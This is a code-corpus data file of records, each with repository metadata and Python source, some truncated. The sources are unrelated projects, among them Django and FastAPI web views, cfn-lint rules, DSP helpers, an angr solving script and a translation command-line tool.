] | 2 | 2021-03-22T14:48:31.000Z | 2021-10-16T16:00:34.000Z | tests/model_test_data.py | pythonpanama/python-panama-backend | 201a7d70c05c74a0a4127c8180240f8af303eb7d | [
"MIT"
] | null | null | null | tests/model_test_data.py | pythonpanama/python-panama-backend | 201a7d70c05c74a0a4127c8180240f8af303eb7d | [
"MIT"
] | null | null | null | TEST_KEYNOTE_1 = {
"title": "Uso de type hints en Python",
"description": "Que son los type hints y por qué debemos usarlos",
"speaker_id": 1,
"meeting_id": 1,
}
TEST_KEYNOTE_2 = {
"title": "Creando pruebas con UnitTest",
"description": "Cómo usar UnitTest para control de calidad de la... | 29.707317 | 78 | 0.638136 | TEST_KEYNOTE_1 = {
"title": "Uso de type hints en Python",
"description": "Que son los type hints y por qué debemos usarlos",
"speaker_id": 1,
"meeting_id": 1,
}
TEST_KEYNOTE_2 = {
"title": "Creando pruebas con UnitTest",
"description": "Cómo usar UnitTest para control de calidad de la... | true | true |
1c211862fe4b91084e44e2402743fc1aae384b66 | 721 | py | Python | src/comedian/configuration.py | chpatton013/comedian | 38038731fb626a7a80b837bc7970dc615af61b7d | [
"Apache-2.0",
"MIT"
] | 1 | 2020-12-27T17:31:02.000Z | 2020-12-27T17:31:02.000Z | src/comedian/configuration.py | chpatton013/comedian | 38038731fb626a7a80b837bc7970dc615af61b7d | [
"Apache-2.0",
"MIT"
] | null | null | null | src/comedian/configuration.py | chpatton013/comedian | 38038731fb626a7a80b837bc7970dc615af61b7d | [
"Apache-2.0",
"MIT"
] | null | null | null | import os
from comedian.traits import DebugMixin, EqMixin
class Configuration(DebugMixin, EqMixin):
def __init__(
self,
shell: str,
dd_bs: str,
random_device: str,
media_dir: str,
tmp_dir: str,
):
self.shell = shell
self.dd_bs = dd_bs
se... | 22.53125 | 47 | 0.599168 | import os
from comedian.traits import DebugMixin, EqMixin
class Configuration(DebugMixin, EqMixin):
def __init__(
self,
shell: str,
dd_bs: str,
random_device: str,
media_dir: str,
tmp_dir: str,
):
self.shell = shell
self.dd_bs = dd_bs
se... | true | true |
1c2118acc209d44a939311bff4e9133f34f48c1e | 923 | py | Python | app/user/views.py | kelvinmunenemgithub/recipe-app-api | 3f14a0c3e3e6f2cb5222ce53f0c69f3c23df088b | [
"MIT"
] | null | null | null | app/user/views.py | kelvinmunenemgithub/recipe-app-api | 3f14a0c3e3e6f2cb5222ce53f0c69f3c23df088b | [
"MIT"
] | 8 | 2021-03-19T08:26:41.000Z | 2022-03-12T00:14:51.000Z | app/user/views.py | kelvinmunenemgithub/recipe-app-api | 3f14a0c3e3e6f2cb5222ce53f0c69f3c23df088b | [
"MIT"
] | null | null | null | from rest_framework import generics, authentication, permissions
from rest_framework.authtoken.views import ObtainAuthToken
from rest_framework.settings import api_settings
from . import serializers
class CreateUserView(generics.CreateAPIView):
"""Create a new user in the system"""
serializer_class = seriali... | 32.964286 | 66 | 0.786566 | from rest_framework import generics, authentication, permissions
from rest_framework.authtoken.views import ObtainAuthToken
from rest_framework.settings import api_settings
from . import serializers
class CreateUserView(generics.CreateAPIView):
serializer_class = serializers.UserSerializer
class CreateTokenVie... | true | true |
1c2118ca4e0cb633f7c7d683f972df90a5fe5039 | 4,190 | py | Python | src/variationalnn_floquet/TensorFlow_Floquet_old.py | gsinuco/VariationalNN_Floquet | 46605e53c29801b9aaedfe9a61fe886239bc2112 | [
"MIT"
] | null | null | null | src/variationalnn_floquet/TensorFlow_Floquet_old.py | gsinuco/VariationalNN_Floquet | 46605e53c29801b9aaedfe9a61fe886239bc2112 | [
"MIT"
] | null | null | null | src/variationalnn_floquet/TensorFlow_Floquet_old.py | gsinuco/VariationalNN_Floquet | 46605e53c29801b9aaedfe9a61fe886239bc2112 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
"""
modified from https://www.tensorflow.org/tutorials/customization/custom_training
https://www.tensorflow.org/tutorials/customization/custom_training_walkthrough
Created on Sat Aug 10 11:30:57 2019
@author: German Sinuco
"""
from __future__ import absolute_import, division, pri... | 37.079646 | 136 | 0.664916 |
from __future__ import absolute_import, division, print_function, unicode_literals
import tensorflow as tf
import numpy as np
import math as m
from scipy.stats import unitary_group
class Model(object):
def __init__(self):
self.S = 2
self.N = 0
self.dim... | true | true |
1c21193208e35c4c35ea0e625b0e5207e2abecbc | 478 | py | Python | TrackerLog.py | santanor/PS5-Stock-Tracker | cc21750482a717557967f2c3daaa016d5f79e135 | [
"MIT"
] | 1 | 2021-05-14T08:27:38.000Z | 2021-05-14T08:27:38.000Z | TrackerLog.py | santanor/PS5-Stock-Tracker | cc21750482a717557967f2c3daaa016d5f79e135 | [
"MIT"
] | null | null | null | TrackerLog.py | santanor/PS5-Stock-Tracker | cc21750482a717557967f2c3daaa016d5f79e135 | [
"MIT"
] | null | null | null | import colorama
import datetime
from colorama import Fore, Style
from sys import stdout
def log_company(msg):
stdout.write(f"{Fore.LIGHTBLUE_EX} [{msg}]")
def log_time():
stdout.write(f"{Fore.WHITE}{datetime.datetime.now()}")
def log_item(msg):
stdout.write(f"{Fore.WHITE} {msg} ")
def log_stock(inSt... | 19.12 | 58 | 0.692469 | import colorama
import datetime
from colorama import Fore, Style
from sys import stdout
def log_company(msg):
stdout.write(f"{Fore.LIGHTBLUE_EX} [{msg}]")
def log_time():
stdout.write(f"{Fore.WHITE}{datetime.datetime.now()}")
def log_item(msg):
stdout.write(f"{Fore.WHITE} {msg} ")
def log_stock(inSt... | true | true |
1c211a1f0c15646d58e9793fd7273b6c2d63cb51 | 931 | py | Python | users/views.py | jumbamathews/pp | 0da0b1406b61a6a6e76522e508587139cae7135d | [
"MIT"
] | null | null | null | users/views.py | jumbamathews/pp | 0da0b1406b61a6a6e76522e508587139cae7135d | [
"MIT"
] | 11 | 2020-02-12T03:20:21.000Z | 2022-03-12T00:16:02.000Z | users/views.py | AhmadSAshraf/Instagram-IP | caaf50f4463c67e11bc477e9bdf9b1506b696e4b | [
"MIT"
] | null | null | null | from django.shortcuts import render
from django.views.generic.edit import CreateView, UpdateView
from django.views.generic.detail import DetailView
from django.urls import reverse_lazy
from django.contrib.auth import get_user_model
from django.contrib.auth.mixins import LoginRequiredMixin
from .models import CustomUser... | 35.807692 | 62 | 0.784103 | from django.shortcuts import render
from django.views.generic.edit import CreateView, UpdateView
from django.views.generic.detail import DetailView
from django.urls import reverse_lazy
from django.contrib.auth import get_user_model
from django.contrib.auth.mixins import LoginRequiredMixin
from .models import CustomUser... | true | true |
1c211d45da890a1224935967380385d6ebb20f64 | 3,697 | py | Python | src/cfnlint/rules/functions/Select.py | obobrova/cfn-python-lint | 42c0cd89577a39e903e5ef8a337926cc7ff6822c | [
"MIT-0"
] | null | null | null | src/cfnlint/rules/functions/Select.py | obobrova/cfn-python-lint | 42c0cd89577a39e903e5ef8a337926cc7ff6822c | [
"MIT-0"
] | 1 | 2020-04-15T16:36:10.000Z | 2020-04-15T16:36:10.000Z | src/cfnlint/rules/functions/Select.py | obobrova/cfn-python-lint | 42c0cd89577a39e903e5ef8a337926cc7ff6822c | [
"MIT-0"
] | 1 | 2020-01-05T01:05:55.000Z | 2020-01-05T01:05:55.000Z | """
Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
SPDX-License-Identifier: MIT-0
"""
import six
from cfnlint.rules import CloudFormationLintRule
from cfnlint.rules import RuleMatch
class Select(CloudFormationLintRule):
"""Check if Select values are correct"""
id = 'E1017'
shortde... | 46.2125 | 122 | 0.495266 | import six
from cfnlint.rules import CloudFormationLintRule
from cfnlint.rules import RuleMatch
class Select(CloudFormationLintRule):
id = 'E1017'
shortdesc = 'Select validation of parameters'
description = 'Making sure the function not is of list'
source_url = 'https://docs.aws.amazon.com/AWSCloudFor... | true | true |
1c211dd6fc3109285033de9331333f69aad48869 | 4,029 | py | Python | app/app.py | AbduT/buchi | 3f5c8ead61ebdcc30c315c86a3d97478a204e912 | [
"BSD-3-Clause"
] | null | null | null | app/app.py | AbduT/buchi | 3f5c8ead61ebdcc30c315c86a3d97478a204e912 | [
"BSD-3-Clause"
] | 3 | 2022-03-23T11:46:09.000Z | 2022-03-24T11:25:13.000Z | app/app.py | AbduT/buchi | 3f5c8ead61ebdcc30c315c86a3d97478a204e912 | [
"BSD-3-Clause"
] | null | null | null | import pathlib
from typing import Optional, List
from uuid import uuid1
from fastapi import FastAPI, status, HTTPException, UploadFile, File
from fastapi.responses import JSONResponse, FileResponse, RedirectResponse
import database
import models
app = FastAPI()
@app.get('/')
async def redirect_to_docs():
return... | 33.02459 | 113 | 0.663192 | import pathlib
from typing import Optional, List
from uuid import uuid1
from fastapi import FastAPI, status, HTTPException, UploadFile, File
from fastapi.responses import JSONResponse, FileResponse, RedirectResponse
import database
import models
app = FastAPI()
@app.get('/')
async def redirect_to_docs():
return... | true | true |
1c211df789d20959f4af47151b7778f39c3d0e97 | 1,645 | py | Python | data_go_kr/api/getRTMSDataSvcRHTrade.py | nhlsm/PyDataGoKr | 93521ee648da4727b98279db9ed4b1d9ed928972 | [
"Apache-2.0"
] | 2 | 2021-04-26T05:20:56.000Z | 2021-05-30T03:30:41.000Z | data_go_kr/api/getRTMSDataSvcRHTrade.py | nhlsm/PyDataGoKr | 93521ee648da4727b98279db9ed4b1d9ed928972 | [
"Apache-2.0"
] | null | null | null | data_go_kr/api/getRTMSDataSvcRHTrade.py | nhlsm/PyDataGoKr | 93521ee648da4727b98279db9ed4b1d9ed928972 | [
"Apache-2.0"
] | null | null | null | import logging
import sys
import pprint
import enum
import typing
from collections import OrderedDict
import requests
import xmltodict
import pandas as pd
from ..core.param import *
from ..core.reply import *
from ..core.rspcontentbase import *
###########################################
# define global variable
###... | 28.362069 | 132 | 0.581155 | import logging
import sys
import pprint
import enum
import typing
from collections import OrderedDict
import requests
import xmltodict
import pandas as pd
from ..core.param import *
from ..core.reply import *
from ..core.rspcontentbase import *
| true | true |
1c211ed5016f6430f240fbdd01c257f79ee23254 | 2,013 | py | Python | lese/dsp.py | Or-Tal/fairseq | 2be0d74e0034f95a32f24afb381e0e275957a0e4 | [
"MIT"
] | 1 | 2022-03-05T09:45:59.000Z | 2022-03-05T09:45:59.000Z | lese/dsp.py | Or-Tal/fairseq | 2be0d74e0034f95a32f24afb381e0e275957a0e4 | [
"MIT"
] | null | null | null | lese/dsp.py | Or-Tal/fairseq | 2be0d74e0034f95a32f24afb381e0e275957a0e4 | [
"MIT"
] | null | null | null | # Copyright (c) Facebook, Inc. and its affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# author: adefossez
import numpy as np
import torch
from torch.nn import functional as F
def hz_to_mel(f):
return 259... | 30.969231 | 95 | 0.611028 |
import numpy as np
import torch
from torch.nn import functional as F
def hz_to_mel(f):
return 2595 * np.log10(1 + f / 700)
def mel_to_hz(m):
return 700 * (10**(m / 2595) - 1)
def mel_frequencies(n_mels, fmin, fmax):
low = hz_to_mel(fmin)
high = hz_to_mel(fmax)
mels = np.linspace(low, hi... | true | true |
1c211f6a22dbc603aed0d4cf1801d9fca3169348 | 1,052 | py | Python | util/benchmark_scripts/angrmeval_sub.py | Pusty/Obfuscat | dab050f13e831944565268ccd45ff66bd5a3aa34 | [
"BSL-1.0"
] | 7 | 2021-06-11T03:57:27.000Z | 2021-11-29T20:39:40.000Z | util/benchmark_scripts/angrmeval_sub.py | Pusty/Obfuscat | dab050f13e831944565268ccd45ff66bd5a3aa34 | [
"BSL-1.0"
] | null | null | null | util/benchmark_scripts/angrmeval_sub.py | Pusty/Obfuscat | dab050f13e831944565268ccd45ff66bd5a3aa34 | [
"BSL-1.0"
] | null | null | null | import angr
import claripy
import os
import sys
import timeit
SECRET_FLAG = 'ABCD1234'*4
def runAngr():
inpStr = claripy.BVS("inpStr", 8*(len(SECRET_FLAG)+1))
project = angr.Project('a.out')
state = project.factory.entry_state(args=['./a.out', inpStr], add_options={angr.options.ZERO_FILL_UNCONSTRAINED_ME... | 30.057143 | 172 | 0.630228 | import angr
import claripy
import os
import sys
import timeit
SECRET_FLAG = 'ABCD1234'*4
def runAngr():
inpStr = claripy.BVS("inpStr", 8*(len(SECRET_FLAG)+1))
project = angr.Project('a.out')
state = project.factory.entry_state(args=['./a.out', inpStr], add_options={angr.options.ZERO_FILL_UNCONSTRAINED_ME... | true | true |
1c211fa51709e8742a4a833e5c2d51328cde18b8 | 1,458 | py | Python | susan/tests/initial_data.py | thenakliman/susan | 555ff6ade65cd90ebff06061a8b87823c13c1ade | [
"Apache-2.0"
] | null | null | null | susan/tests/initial_data.py | thenakliman/susan | 555ff6ade65cd90ebff06061a8b87823c13c1ade | [
"Apache-2.0"
] | 19 | 2017-07-15T07:02:02.000Z | 2017-10-03T15:05:10.000Z | susan/tests/initial_data.py | thenakliman/susan | 555ff6ade65cd90ebff06061a8b87823c13c1ade | [
"Apache-2.0"
] | null | null | null | import uuid
from susan.db.rdbms import datapath
from susan.db.rdbms import dhcp
from susan.db.rdbms import port
REQ_MAC = 'be:7e:55:53:31:d7'
OLD_MAC = '8a:89:1f:db:38:7c'
#OLD_MAC = REQ_MAC
DATAPATH = '117035352915020'
SUBNET_ID = '4e2dfe6e-9322-11e7-98b7-ace010fc1f0e'
NETWORK = '172.30.10.0'
GATEWAY = '172.30.10.1... | 38.368421 | 108 | 0.759259 | import uuid
from susan.db.rdbms import datapath
from susan.db.rdbms import dhcp
from susan.db.rdbms import port
REQ_MAC = 'be:7e:55:53:31:d7'
OLD_MAC = '8a:89:1f:db:38:7c'
DATAPATH = '117035352915020'
SUBNET_ID = '4e2dfe6e-9322-11e7-98b7-ace010fc1f0e'
NETWORK = '172.30.10.0'
GATEWAY = '172.30.10.1'
IP = '172.30.10.... | true | true |
1c211fb2c6dc0e026338137644f62d008b276c6a | 1,143 | py | Python | src/app/migrations/0006_auto_20201117_0937.py | timoninas/ask-timonin | 77f56e0afc55847442bccf2f17218f4f3bd66f9a | [
"MIT"
] | 1 | 2021-05-08T15:48:24.000Z | 2021-05-08T15:48:24.000Z | src/app/migrations/0006_auto_20201117_0937.py | timoninas/ask-timonin | 77f56e0afc55847442bccf2f17218f4f3bd66f9a | [
"MIT"
] | null | null | null | src/app/migrations/0006_auto_20201117_0937.py | timoninas/ask-timonin | 77f56e0afc55847442bccf2f17218f4f3bd66f9a | [
"MIT"
] | null | null | null | # Generated by Django 3.1.2 on 2020-11-17 09:37
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0005_auto_20201115_1951'),
]
operations = [
migrations.RemoveField(
model_name='tag',
name='tags',
),... | 30.078947 | 120 | 0.574803 |
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0005_auto_20201115_1951'),
]
operations = [
migrations.RemoveField(
model_name='tag',
name='tags',
),
migrations.AddField(
model... | true | true |
1c212134436d4464b5c7eca1c1cd6b1114129d2d | 5,449 | py | Python | alphabrew/Model/Cultures.py | jwjulien/alphabrew | 2cd9a4662bad6252ee27562edd9116d0b224180f | [
"MIT"
] | null | null | null | alphabrew/Model/Cultures.py | jwjulien/alphabrew | 2cd9a4662bad6252ee27562edd9116d0b224180f | [
"MIT"
] | null | null | null | alphabrew/Model/Cultures.py | jwjulien/alphabrew | 2cd9a4662bad6252ee27562edd9116d0b224180f | [
"MIT"
] | null | null | null | # ======================================================================================================================
# File: Model/Cultures.py
# Project: AlphaBrew
# Description: A definition for a beer Cultures in list form.
# Author: Jared Julien <jaredjulien@gmail.com>
# Copyright: (c... | 48.651786 | 121 | 0.445403 |
from typing import List
from PySide2 import QtCore, QtWidgets
from Model.ListTableBase import ListTableBase
from GUI.Table.Column import Column
from Model.Culture import Culture
from Model.MeasurableUnits import PercentType, PercentRangeType
class Cultures(ListTableBase):
... | true | true |
1c2125c689c54db3b9c95519d04771edec1318ba | 3,256 | py | Python | qqbot/qcontactdb/myprettytable.py | jsjhcccn/qqbot | 90505ae42a5b2c3a74b85c7bc98b597373aa6b6b | [
"MIT"
] | 1 | 2020-06-08T13:24:39.000Z | 2020-06-08T13:24:39.000Z | qqbot/qcontactdb/myprettytable.py | jsjhcccn/qqbot | 90505ae42a5b2c3a74b85c7bc98b597373aa6b6b | [
"MIT"
] | null | null | null | qqbot/qcontactdb/myprettytable.py | jsjhcccn/qqbot | 90505ae42a5b2c3a74b85c7bc98b597373aa6b6b | [
"MIT"
] | 1 | 2019-02-26T07:08:12.000Z | 2019-02-26T07:08:12.000Z | # -*- coding: utf-8 -*-
import sys; PY3 = (sys.version_info[0]==3)
class IlegalUtf8(Exception):
pass
def getfirst(c):
if c >> 7 == 0:
x = c
elif c >> 5 == 0b110:
x = c & 0b11111
elif c >> 4 == 0b1110:
x = c & 0b1111
elif c >> 3 == 0b11110:
x = c & 0b111
eli... | 23.766423 | 88 | 0.42629 |
import sys; PY3 = (sys.version_info[0]==3)
class IlegalUtf8(Exception):
pass
def getfirst(c):
if c >> 7 == 0:
x = c
elif c >> 5 == 0b110:
x = c & 0b11111
elif c >> 4 == 0b1110:
x = c & 0b1111
elif c >> 3 == 0b11110:
x = c & 0b111
elif c >> 2 == 0b111110:
... | true | true |
1c2126d76a7c1c027ce0bb18c2eb2dd5ba6b89e4 | 1,930 | py | Python | src/django-nonrel/tests/regressiontests/m2m_regress/models.py | adamjmcgrath/glancydesign | 826ede7c639879d5b79ee730eb5e91422768cb02 | [
"BSD-3-Clause"
] | 790 | 2015-01-03T02:13:39.000Z | 2020-05-10T19:53:57.000Z | tests/regressiontests/m2m_regress/models.py | mradziej/django | 5d38965743a369981c9a738a298f467f854a2919 | [
"BSD-3-Clause"
] | 1,361 | 2015-01-08T23:09:40.000Z | 2020-04-14T00:03:04.000Z | tests/regressiontests/m2m_regress/models.py | mradziej/django | 5d38965743a369981c9a738a298f467f854a2919 | [
"BSD-3-Clause"
] | 155 | 2015-01-08T22:59:31.000Z | 2020-04-08T08:01:53.000Z | from django.db import models
from django.contrib.auth import models as auth
# No related name is needed here, since symmetrical relations are not
# explicitly reversible.
class SelfRefer(models.Model):
name = models.CharField(max_length=10)
references = models.ManyToManyField('self')
related = models.ManyT... | 32.711864 | 80 | 0.746632 | from django.db import models
from django.contrib.auth import models as auth
class SelfRefer(models.Model):
name = models.CharField(max_length=10)
references = models.ManyToManyField('self')
related = models.ManyToManyField('self')
def __unicode__(self):
return self.name
class Tag(models.Mod... | true | true |
1c212757a66fc361c19cf698872a38b0ed5c2df8 | 339 | py | Python | tests/test_util.py | bachya/aioambient | e275422f2e082d1dde22e363f54ecc34ab6606f2 | [
"MIT"
] | 20 | 2019-02-17T11:35:01.000Z | 2022-03-24T12:49:20.000Z | tests/test_util.py | bachya/aioambient | e275422f2e082d1dde22e363f54ecc34ab6606f2 | [
"MIT"
] | 96 | 2019-01-17T03:08:17.000Z | 2022-03-01T19:38:52.000Z | tests/test_util.py | bachya/aioambient | e275422f2e082d1dde22e363f54ecc34ab6606f2 | [
"MIT"
] | 9 | 2019-02-26T19:35:07.000Z | 2022-03-24T12:37:25.000Z | """Define tests for utilities."""
import pytest
from aioambient.util import get_public_device_id
@pytest.mark.asyncio
async def test_get_public_id():
"""Test getting the public ID of a device by its MAC address."""
public_id = get_public_device_id("AB:CD:EF:12:34:56")
assert public_id == "04629a94fef5bfb... | 28.25 | 68 | 0.755162 | import pytest
from aioambient.util import get_public_device_id
@pytest.mark.asyncio
async def test_get_public_id():
public_id = get_public_device_id("AB:CD:EF:12:34:56")
assert public_id == "04629a94fef5bfb62b525a6784cb8b37"
| true | true |
1c2127633018ab347b53313c36e915c8f084801d | 630 | py | Python | app_smiles/manage.py | tuanpx96/smiles | 242ab5da965a45153f807f1d3bc6e2e0e5cd85ac | [
"MIT"
] | null | null | null | app_smiles/manage.py | tuanpx96/smiles | 242ab5da965a45153f807f1d3bc6e2e0e5cd85ac | [
"MIT"
] | null | null | null | app_smiles/manage.py | tuanpx96/smiles | 242ab5da965a45153f807f1d3bc6e2e0e5cd85ac | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys
def main():
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'app_smiles.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise Imp... | 28.636364 | 74 | 0.684127 |
import os
import sys
def main():
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'app_smiles.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
... | true | true |
1c21291c7ad18a225e3c3a365ee5fb23bd818066 | 10,618 | py | Python | bin/ssa-end-to-end-testing/modules/test_ssa_detections.py | dlamspl/security_content | 49170484eadc1e0f55f35af934c7095dcf4ccb23 | [
"Apache-2.0"
] | null | null | null | bin/ssa-end-to-end-testing/modules/test_ssa_detections.py | dlamspl/security_content | 49170484eadc1e0f55f35af934c7095dcf4ccb23 | [
"Apache-2.0"
] | null | null | null | bin/ssa-end-to-end-testing/modules/test_ssa_detections.py | dlamspl/security_content | 49170484eadc1e0f55f35af934c7095dcf4ccb23 | [
"Apache-2.0"
] | null | null | null | import logging
import os
import time
import sys
import uuid
from http import HTTPStatus
from modules.streams_service_api_helper import DSPApi
from modules.utils import check_source_sink, manipulate_spl, read_spl, read_data
from ssa_test import assert_results
# Logger
logging.basicConfig(level=os.environ.get("LOGLEVEL... | 41.315175 | 135 | 0.64174 | import logging
import os
import time
import sys
import uuid
from http import HTTPStatus
from modules.streams_service_api_helper import DSPApi
from modules.utils import check_source_sink, manipulate_spl, read_spl, read_data
from ssa_test import assert_results
logging.basicConfig(level=os.environ.get("LOGLEVEL", "INFO... | true | true |
1c212a1f63bd7f1aeb3143a4087988d73ddc5f75 | 9,727 | py | Python | translate/tranen.py | poemdistance/google-translate | 6f32698fb69b5d942390eb78322bd24bd04776a3 | [
"MIT"
] | 9 | 2019-10-26T14:49:47.000Z | 2021-12-09T04:54:39.000Z | translate/tranen.py | poemdistance/google-translate | 6f32698fb69b5d942390eb78322bd24bd04776a3 | [
"MIT"
] | 7 | 2019-07-28T02:07:36.000Z | 2022-03-11T23:56:27.000Z | translate/tranen.py | poemdistance/google-translate | 6f32698fb69b5d942390eb78322bd24bd04776a3 | [
"MIT"
] | 3 | 2019-10-11T12:59:26.000Z | 2021-10-30T15:29:12.000Z | #!/usr/bin/python3
import socks
import socket
import sys
import setproctitle
import time
import readline
import warnings
import sysv_ipc as ipc
from Translator import Translator
from termcolor import colored, cprint
import signal
import os
#from BingTran import bingTranslator
#import bing
def isChinese(Input):
fo... | 28.693215 | 81 | 0.403619 |
import socks
import socket
import sys
import setproctitle
import time
import readline
import warnings
import sysv_ipc as ipc
from Translator import Translator
from termcolor import colored, cprint
import signal
import os
def isChinese(Input):
for ch in Input:
if '\u4e00' <= ch <= '\u9fa5':
... | true | true |
1c212a21ba01b1d5cdfc4aa9b65d8b83023d2035 | 43,365 | py | Python | diff_representation/model/encdec/sequential_decoder.py | microsoft/iclr2019-learning-to-represent-edits | e5777d6aa6cdeda500cf076646177c48d1cb4622 | [
"MIT"
] | 8 | 2021-03-15T18:57:18.000Z | 2021-08-23T11:28:22.000Z | diff_representation/model/encdec/sequential_decoder.py | microsoft/iclr2019-learning-to-represent-edits | e5777d6aa6cdeda500cf076646177c48d1cb4622 | [
"MIT"
] | null | null | null | diff_representation/model/encdec/sequential_decoder.py | microsoft/iclr2019-learning-to-represent-edits | e5777d6aa6cdeda500cf076646177c48d1cb4622 | [
"MIT"
] | 4 | 2021-03-27T14:19:09.000Z | 2021-09-13T12:35:31.000Z | # coding=utf-8
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
from collections import OrderedDict, namedtuple
from itertools import chain
import re
from typing import Dict
import torch
import torch.nn as nn
import torch.nn.utils
from torch.autograd import Variable
import torch.nn.functional a... | 51.686532 | 183 | 0.609478 |
from collections import OrderedDict, namedtuple
from itertools import chain
import re
from typing import Dict
import torch
import torch.nn as nn
import torch.nn.utils
from torch.autograd import Variable
import torch.nn.functional as F
from torch.nn.utils.rnn import pad_packed_sequence, pack_padded_sequence
from di... | true | true |
1c212c59d34bbbb63890ceabcc40e1af8a6bf693 | 1,116 | py | Python | vnpy/api/okcoin/HttpMD5Util.py | Adam1679/vnpy_adam | 91e384c9372ee36689d9bb600fe7f45fbb68976e | [
"MIT"
] | 1 | 2019-03-28T15:45:21.000Z | 2019-03-28T15:45:21.000Z | vnpy/api/okcoin/HttpMD5Util.py | Adam1679/vnpy_adam | 91e384c9372ee36689d9bb600fe7f45fbb68976e | [
"MIT"
] | null | null | null | vnpy/api/okcoin/HttpMD5Util.py | Adam1679/vnpy_adam | 91e384c9372ee36689d9bb600fe7f45fbb68976e | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
# 用于进行http请求,以及MD5加密,生成签名的工具类
# import http.client
import urllib
import httplib
import json
import hashlib
import time
def buildMySign(params, secretKey):
sign = ''
for key in sorted(params.keys()):
sign += key + '=' + str(params[key]) + '&'
data = sign +... | 24.26087 | 63 | 0.655018 |
import urllib
import httplib
import json
import hashlib
import time
def buildMySign(params, secretKey):
sign = ''
for key in sorted(params.keys()):
sign += key + '=' + str(params[key]) + '&'
data = sign + 'secret_key=' + secretKey
return hashlib.md5(data.encode("utf8")).hexdigest().upper(... | true | true |
1c212c6e1a6a458bbb2f3e329ffa80e0090904f3 | 539 | py | Python | server/workers/base/run_base.py | chreman/Headstart | 5d8b956faac4389c649f3072b5ac55aaa01644c6 | [
"MIT"
] | 111 | 2016-12-10T17:27:46.000Z | 2022-03-29T02:57:19.000Z | server/workers/base/run_base.py | chreman/Headstart | 5d8b956faac4389c649f3072b5ac55aaa01644c6 | [
"MIT"
] | 338 | 2016-12-04T17:43:28.000Z | 2022-03-04T15:50:33.000Z | server/workers/base/run_base.py | chreman/Headstart | 5d8b956faac4389c649f3072b5ac55aaa01644c6 | [
"MIT"
] | 32 | 2016-12-19T12:48:00.000Z | 2022-02-12T17:47:47.000Z | import os
import json
import redis
from base.src.base import BaseClient
if __name__ == '__main__':
redis_config = {
"host": os.getenv("REDIS_HOST"),
"port": os.getenv("REDIS_PORT"),
"db": os.getenv("REDIS_DB"),
"password": os.getenv("REDIS_PASSWORD")
}
redis_store = redis.... | 26.95 | 70 | 0.586271 | import os
import json
import redis
from base.src.base import BaseClient
if __name__ == '__main__':
redis_config = {
"host": os.getenv("REDIS_HOST"),
"port": os.getenv("REDIS_PORT"),
"db": os.getenv("REDIS_DB"),
"password": os.getenv("REDIS_PASSWORD")
}
redis_store = redis.... | true | true |
1c212e8ae4964dfe09bc5623ed6cc977eab8998d | 2,522 | py | Python | src/graphql/validation/rules/unique_field_definition_names.py | hspedro/graphql-core | 2b27e641d51789f532f989d3e125e04b33d24564 | [
"MIT"
] | null | null | null | src/graphql/validation/rules/unique_field_definition_names.py | hspedro/graphql-core | 2b27e641d51789f532f989d3e125e04b33d24564 | [
"MIT"
] | null | null | null | src/graphql/validation/rules/unique_field_definition_names.py | hspedro/graphql-core | 2b27e641d51789f532f989d3e125e04b33d24564 | [
"MIT"
] | null | null | null | from collections import defaultdict
from typing import Any, Dict
from ...error import GraphQLError
from ...language import NameNode, ObjectTypeDefinitionNode
from ...type import is_object_type, is_interface_type, is_input_object_type
from . import SDLValidationContext, SDLValidationRule
__all__ = ["UniqueFieldDefinit... | 38.212121 | 88 | 0.655036 | from collections import defaultdict
from typing import Any, Dict
from ...error import GraphQLError
from ...language import NameNode, ObjectTypeDefinitionNode
from ...type import is_object_type, is_interface_type, is_input_object_type
from . import SDLValidationContext, SDLValidationRule
__all__ = ["UniqueFieldDefinit... | true | true |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.